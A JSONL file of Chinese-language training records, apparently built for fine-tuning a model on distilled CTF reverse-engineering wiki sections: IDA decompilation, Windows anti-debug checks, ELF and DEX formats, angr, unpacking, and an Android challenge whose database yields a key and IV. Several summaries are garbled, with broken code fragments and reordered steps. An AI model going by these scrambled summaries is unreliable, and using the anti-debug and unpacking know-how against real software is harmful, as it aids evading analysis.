"reverse", "chars": 193, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "简介", "heading_path": ["Self-Modified Code", "简介"], "original_id": "docs-a259512b43bb911a7358", "original_line": 1484, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/smc.md", "source_root": "docs", "source_sha256": "4d4333813bc20ebd1d5176a2c1cbefd91a88e6f43b6d97597fe7aa1cbbbee5a2", "split": "train", "split_group_key": "809e16e06de1c4f4fa3a32f3", "subcategory": "reverse/obfuscate/smc.md", "terms": ["reverse", "obfuscate", "smc.md"], "title": "Self-Modified Code"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/smc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-710f93a0d4caeefe0f57", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/static-analyze/ida.md` 中的章节「函数反编译」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/static-analyze/ida.md`\n标题：IDA Pro\n章节：IDA Pro > 函数反编译\n路径分类：reverse / reverse/tools/static-analyze\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“函数反编译”展开。\n- 除了反汇编以外，IDA 也支持将汇编代码反编译为 C/C++ 形式的源代码，我们只需要在待反编译的函数位置按下 F5 即可获得反编译后的程序代码：\n- 有的时候 IDA 对于函数范围的识别可能会有一定错误，从而导致反编译结果出现偏差，此时我们可以在 IDA-View 窗口中的函数开头按下 alt+p 重新定义函数范围，或是先按下 u 取消原有定义后再框选函数范围后重新按下 p 进行定义：\n- [图片文件: ./figure/ida_fail_to_discompile.png]\n- 当我们完成对函数识别的修复之后，我们可以在函数开头按下 p 让 IDA 重新自动识别函数，或是框选属于该函数的汇编代码之后再按下 p 让 IDA 重新自动识别函数：\n- [图片文件: ./figure/ida_reidentify_func1.png]\n\n关键术语：\n- AI安全\n- 修复/缓解\n- reverse\n- tools\n- static-analyze\n- ida.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 525, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "函数反编译", "heading_path": ["IDA Pro", "函数反编译"], "original_id": "docs-693c7c0fe3e8448e3975", "original_line": 86, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/static-analyze/ida.md", "source_root": "docs", "source_sha256": "717d794703d9fa7485124c8718c946608af2557418f5abaf18aa1f7b96937e3c", "split": "train", "split_group_key": "aba2e7d2deec201e59e0a8f1", "subcategory": "reverse/tools/static-analyze", "terms": ["AI安全", "修复/缓解", "reverse", "tools", "static-analyze", "ida.md"], "title": "IDA Pro"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/static-analyze/ida.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-71bda349516b9b876445", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「ProcessMonitor」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > ProcessMonitor\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“ProcessMonitor”展开。\n- `` c lpFileName = \"\\\\\\\\.\\\\Global\\\\ProcmonDebugLogger\";\n- if ( CreateFileA(\"\\\\\\\\.\\\\Global\\\\ProcmonDebugLogger\", 0x80000000, 7u, 0, 3u, 0x80u, 0) !\n- = (HANDLE)-1 ) { printf(\"But detect %s.\\n\", &lpFileName);\n- } ` 这里通过检测设备文件\\\\\\\\.\\\\Global\\\\ProcmonDebugLogger来检测ProcessMonitor`\n- // 6. 检测ProcessMonitor exit(1);\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 307, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "ProcessMonitor", "heading_path": ["反调试技术例题", "ProcessMonitor"], "original_id": "docs-71f16fad5aea04b1a218", "original_line": 1510, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "7bee31128412c73a0f250a4b", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-738c3d0fd26883880c3e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「e_type」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > ELF Header > e_type\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“e_type”展开。\n- 从 ET_LOPROC 到 ET_HIPROC (包括边界)被保留用于处理器指定的场景。\n- | 名称 | 值 | 意义 | | --------- | ------ | -------------- | | ET_NONE | 0 | 无文件类型 | | ET_REL | 1 | 可重定位文件 | | ET_EXEC | 2 | 可执行文件 | | ET_DYN | 3 | 共享目标文件 | | ET_CORE | 4 | 核心转储文件 | | ET_LOPROC | 0xff00 | 处理器指定下限 | | ET_HIPROC | 0xffff | 处理器指定上限 | 虽然核心转储文件的内容没有被...\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 379, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "e_type", "heading_path": ["ELF 文件", "ELF Header", "e_type"], "original_id": "docs-33859036d9dd5a2b5f34", "original_line": 462, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "7d1a063f3cf0a6c3504cdde8", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-748d8bfe446b230c9e9b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/java-example.md` 中的章节「获取数据库文件」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/java-example.md`\n标题：静态分析 java 层例子\n章节：静态分析 java 层例子 > 2014 Sharif University Quals CTF Commercial Application > 获取数据库文件\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“获取数据库文件”展开。\n- 首先，我们需要将该apk文件装到手机上，然后利用如下指令获取 ``shell adb pull /data/data/edu.sharif.ctf/databases/db.db ` 进而使用电脑上可以查看sqlite的软件查看一下，这里我使用的是http://sqlitebrowser.org/。\n- 如下 [图片文件: ./figure/2014-Sharif-db.png] 这里，我们可以直接得到 `text SecurityIv=a5efdbd57b84ca36 SecurityKey=37eaae0141f1a3adf8a1dee655853714 ``\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-reverse\n- static\n- java-example.md\n- code:shell\n- code:text\n\n代码/命令片段线索：\n- shell: 1 行，首行 `adb pull /data/data/edu.sharif.ctf/databases/db.db`\n- text: 2 行，首行 `SecurityIv=a5efdbd57b84ca36`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 300, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "reverse", "heading": "获取数据库文件", "heading_path": ["静态分析 java 层例子", "2014 Sharif University Quals CTF Commercial Application", "获取数据库文件"], "original_id": "docs-84490427bd5144805ccc", "original_line": 94, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "source_root": "docs", "source_sha256": "62c2c6f57e2d71e08985150dbb4728e0bac9238d8f3eefa436ea9388b2bcd517", "split": "train", "split_group_key": "dc421888a15b5fb322ba4f4e", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "漏洞利用", "android", "basic-reverse", "static", "java-example.md", "code:shell", "code:text"], "title": "静态分析 java 层例子"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/java-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-78d8b6bf9a94f934ed6d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「时间差检测」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > 时间差检测\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“时间差检测”展开。\n- if ( GetTickCount() - v13 > 1000 ) // 5. 检测时间差 { printf(\"But detected debug.\\n\");\n- } ` GetTickCount会返回启动到现在的毫秒数, 循环里光是sleep(1)`就进行了100次, 也就是100毫秒. 两次得到的时间作差如果大于1000毫秒, 时差明显大于所耗的时间, 也就间接检测到了调试.\n- `` c v13 = GetTickCount();\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 295, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "时间差检测", "heading_path": ["反调试技术例题", "时间差检测"], "original_id": "docs-357816897562745b600b", "original_line": 1509, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "ac0f6cebdbd8849bd549f3e3", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-7a77a66cbb1919f83812", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/symbol-table.md` 中的章节「st_value」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/symbol-table.md`\n标题：.symtab: Symbol Table\n章节：.symtab: Symbol Table > st_value\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“st_value”展开。\n- 2. 根据节区头元素可以获取节区的虚拟基地址和文件基地址。\n- 在 Linux 的 ELF 文件中，具体说明如下 1. 该符号对应着一个变量，那么表明该变量在内存中的偏移。\n- 我们可由这个值获取其文件偏移 1. 获取该符号对应的 st_shndx，进而获取到相关的节区。\n- 3. value-内存基虚拟地址=文件偏移-文件基地址 2. 该符号对应着一个函数，那么表明该函数在文件中的起始地址。\n\n关键术语：\n- executable\n- elf\n- structure\n- symbol-table.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 197, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "st_value", "heading_path": [".symtab: Symbol Table", "st_value"], "original_id": "docs-3c8be4a48ecea4946931", "original_line": 485, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "source_root": "docs", "source_sha256": "56c62270fa50835f2a86e5d488beca1590d3bcbe520738020641a39ef2fc28d2", "split": "train", "split_group_key": "606c6056bd812612be73c0bf", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "symbol-table.md"], "title": ".symtab: Symbol Table"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/symbol-table.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-7af1f626a455d47c2484", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/dex/dex.md` 中的章节「field id」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/dex/dex.md`\n标题：DEX文件\n章节：DEX文件 > DEX 文件格式 > DEX 索引区 > field id\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- field id区主要是针对于java中每个类的字段而设计的，主要涉及到以下数据结构 ``c++ struct DexFieldId { u2 classIdx;\n- / 类的类型，指向DexTypeId列表的索引 / u2 typeIdx;\n- / 字段类型，指向DexTypeId列表的索引 / u4 nameIdx;\n- / 字段名，指向DexStringId列表的索引 / };\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- dex\n- code:c++\n\n代码/命令片段线索：\n- c++: 5 行，首行 `struct DexFieldId {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 202, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "field id", "heading_path": ["DEX文件", "DEX 文件格式", "DEX 索引区", "field id"], "original_id": "docs-031b73f73df94523f0b1", "original_line": 33, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "source_root": "docs", "source_sha256": "02e4e7a9ad1994a3eb6f19cb46b69151a53fab27ed230dc7be1d864947ae6323", "split": "train", "split_group_key": "afcbc5b835fd983e522c2ec6", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "dex", "code:c++"], "title": "DEX文件"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/dex/dex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-7e79fe9739df15412291", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「内存操作」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Claripy > state - 模拟执行状态 > 内存操作\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“内存操作”展开。\n- 前面讲到，对于一个状态的内存，我们可以使用 state.memory 的对应接口进行操作： - state.memory.load(addr, size_in_bytes) ：获取该地址上指定大小的位向量 - state.memory.store(addr, bitvector) ：将一个位向量存储到指定地址 需要注意的是如果要储存具体值，则需要通过 endness 参数指定大小端序。\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- angr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "内存操作", "heading_path": ["angr", "基本用法", "Claripy", "state - 模拟执行状态", "内存操作"], "original_id": "docs-bfafe66f0e505461b0b4", "original_line": 1566, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "06c8e0ca119bdb81452f6165", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "angr.md"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-823a303fa5fc60015042", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「编译-smali2dex」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：virtual methods > 编译-smali2dex\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“编译-smali2dex”展开。\n- 给定一个 smali 文件，我们可以使用如下方式将 smali 文件编译为 dex 文件。\n- ``shell java -jar smali.jar assemble src.smali -o src.dex `` 其中，smali.jar 来自于 https://bitbucket.org/JesusFreke/smali/overview。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `java -jar smali.jar assemble src.smali -o src.dex`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 183, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "编译-smali2dex", "heading_path": ["virtual methods", "编译-smali2dex"], "original_id": "docs-21ca6807df4cc839ab0a", "original_line": 68, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "994da45f8e0ee71cc2c8a964", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali", "code:shell"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-84bd9eaeeaede1533471", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/memory.md` 中的章节「内存镜像法」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/memory.md`\n标题：内存镜像法\n章节：内存镜像法\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 内存镜像法是在加壳程序被加载时, 通过OD的ALT+M快捷键, 进入到程序虚拟内存区段. 然后通过加两次内存一次性断点, 到达程序正确OEP的位置. 内存镜像法的原理在于对于程序资源段和代码段下断点, 一般程序自解压或者自解密时, 会首先访问资源段获取所需资源, 然后在自动脱壳完成后, 转回程序代码段. 这时候下内存一次性断点, 程序就会停在OEP处.\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 180, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "内存镜像法", "heading_path": ["内存镜像法"], "original_id": "docs-827fc4b4e7429647cb19", "original_line": 1542, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/memory.md", "source_root": "docs", "source_sha256": "974d78d4ecb9aaa2547fea8991f8ec83bce58cc8f5c6c497dac11d2e8aab1378", "split": "train", "split_group_key": "54757470ef21c51be7bd36ef", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "内存镜像法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/memory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-85074b3305a2f51fb186", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/static/so-example.md` 中的章节「再次分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/static/so-example.md`\n标题：静态分析原生层程序\n章节：静态分析原生层程序 > 原生层静态分析例子 > 2015-海峡两岸-一个APK，逆向试试吧 > 再次分析\n路径分类：android / android/basic_reverse/static\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“再次分析”展开。\n- 对 x 进行交叉引用，发现其在 _init_my 中使用了，如下 ``c size_t _init_my() { size_t i;\n- result = strlen(seed[0]);\n- if ( i >= result ) break;\n- } `` 所以最初程序对 seed 进行了修改。\n- 想到这里就要考虑下，程序是不是在哪里修改了对应的字符串。\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- static\n- so-example.md\n- code:c\n\n代码/命令片段线索：\n- c: 17 行，首行 `size_t _init_my()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 345, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "再次分析", "heading_path": ["静态分析原生层程序", "原生层静态分析例子", "2015-海峡两岸-一个APK，逆向试试吧", "再次分析"], "original_id": "docs-bc47e3f5dd9ca6692ee6", "original_line": 102, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "source_root": "docs", "source_sha256": "fb270de07d8aea7ae9a3d64f3300458f9af935fc74f897f3fce7bd898e380416", "split": "train", "split_group_key": "2c1633f1ad342e7ba33d0fa1", "subcategory": "android/basic_reverse/static", "terms": ["Android逆向", "android", "basic-reverse", "static", "so-example.md", "code:c"], "title": "静态分析原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/static/so-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-85535b523e542b98dc7e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/thread_local_storage.md` 中的章节「Thread Local Storage(TLS)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/thread_local_storage.md`\n标题：Thread Local Storage(TLS)\n章节：Thread Local Storage(TLS)\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Thread Local Storage(TLS)”展开。\n- 线程本地存储(TLS)用于在线程启动前对特定线程数据进行初始化, 因为每个进程都包含至少1个线程, 在主线程运行前初始化数据. 初始化操作可以通过指定一个已经复制到动态分配内存中去的静态缓冲区, 和/或通过在回调函数数组中执行代码, 来初始化动态内存内容. 经常是由于滥用回调函数数组而造成问题. 在运行时, TLS回调函数数组内容可以被修改或增加, 新加入或新修改的回调函数会使用新地址进行调用. 回调函数的数目也没有限制. 数组的扩展操作可以用以下代码完成: `` asm l1: mov d [offset...\n- `` 当l1处的回调返回时就会继续调用l2的回调函数 > todo: continue to finish it\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 350, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Thread Local Storage(TLS)", "heading_path": ["Thread Local Storage(TLS)"], "original_id": "docs-912982395231d5e0ad5b", "original_line": 1534, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/thread_local_storage.md", "source_root": "docs", "source_sha256": "9cf5da764793ad40f1046d59866b77da2ccdccb8cad06a3036081956ab1ceb92", "split": "train", "split_group_key": "885a0262eb13767e99d0c3cb", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "Thread Local Storage(TLS)"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/thread_local_storage.md", "split": "train", "type": "ctf_lora_sft"}
